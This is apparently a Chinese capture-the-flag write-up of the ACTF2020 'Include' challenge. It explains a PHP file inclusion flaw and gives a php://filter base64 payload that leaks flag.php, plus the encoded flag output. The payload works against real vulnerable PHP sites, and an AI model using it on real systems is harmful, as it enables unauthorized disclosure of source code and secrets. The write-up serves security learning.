[ACTF2020 新生赛]Include (文件包含漏洞)

打开题目:
[ACTF2020 新生赛]Include (文件包含漏洞)_第1张图片

就一个tips

看看源码:
[ACTF2020 新生赛]Include (文件包含漏洞)_第2张图片

奥,file=flag.php

而且再看题目:include

应该是文件包含漏洞,是一道php伪协议题目

-.-PHP伪协议-.-:
[ACTF2020 新生赛]Include (文件包含漏洞)_第3张图片

我们通过 php://filter 来获取源码:
构造payload:
 

​​​​​​​?file=php://filter/read=convert.base64-encode/resource=flag.php

就可以得到base64编码后的flag.php:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7N2M3MTA2NjMtYzllZi00YjBlLWI2ODctZTRjNjU5YTdiODE2fQo=

利用 CyberChef 进行解码:
[ACTF2020 新生赛]Include (文件包含漏洞)_第4张图片

得到flag.php的内容:
[ACTF2020 新生赛]Include (文件包含漏洞)_第5张图片

即可得到flag。

你可能感兴趣的:(CTF,网络安全)